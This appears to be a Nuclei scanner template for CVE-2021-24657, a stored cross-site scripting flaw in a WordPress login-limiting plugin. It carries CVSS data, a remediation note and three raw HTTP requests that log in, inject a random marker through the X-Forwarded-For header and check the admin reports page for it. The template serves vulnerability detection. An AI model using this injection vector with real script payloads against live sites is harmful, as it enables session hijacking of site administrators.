id: CVE-2021-24657 info: name: Limit Login Attempts WordPress - Stored Cross-site Scripting author: theamanrawat severity: medium description: | Limit Login Attempts WordPress plugin < 4.0.50 contains a stored cross-site scripting caused by not escaping IP addresses controlled via headers like X-Forwarded-For before outputting them in reports, letting unauthenticated attackers execute scripts in admin context. impact: | Unauthenticated attackers can execute arbitrary scripts in admin browsers, potentially leading to session hijacking or defacement. remediation: | Update to version 4.0.50 or later. reference: - https://wordpress.org/plugins/miniorange-limit-login-attempts - https://nvd.nist.gov/vuln/detail/CVE-2021-24657 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-24657 epss-score: 0.01582 epss-percentile: 0.73025 cwe-id: CWE-79 metadata: verified: true max-requests: 3 public-www: "/wp-content/plugins/miniorange-limit-login-attempts/" tags: cve,cve2021,wordpress,wp,wp-plugin,miniorange-limit-login-attempts,xss,authenticated flow: http(1) && http(2) && http(3) variables: rand: '{{rand_text_alpha(6, "abc")}}' http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In matchers: - type: dsl dsl: - status_code == 302 - contains(header, "wordpress_logged_in") condition: and internal: true - raw: - | POST /wp-login.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded X-Forwarded-For:{{rand}} log={{rand}}&pwd={{rand}}&wp-submit=Log+In&testcookie=1 matchers: - type: dsl dsl: - 'status_code == 200' - 'contains_all(body, "login attempts remaining.")' condition: and internal: true - raw: - | GET /wp-admin/admin.php?page=reports HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains_all(body, "login_reports", "{{rand}}", "")' condition: and # digest: 4b0a00483046022100854d1ed269743618ef5ae9c2f164eec39ca83589bda54b8d2630bba270453ed5022100eef843e9253512b152b0ace0d8b2f2c493ffcf66863aedf7b2b3dbea3766796f:922c64590222798bb761d5b6d8e72950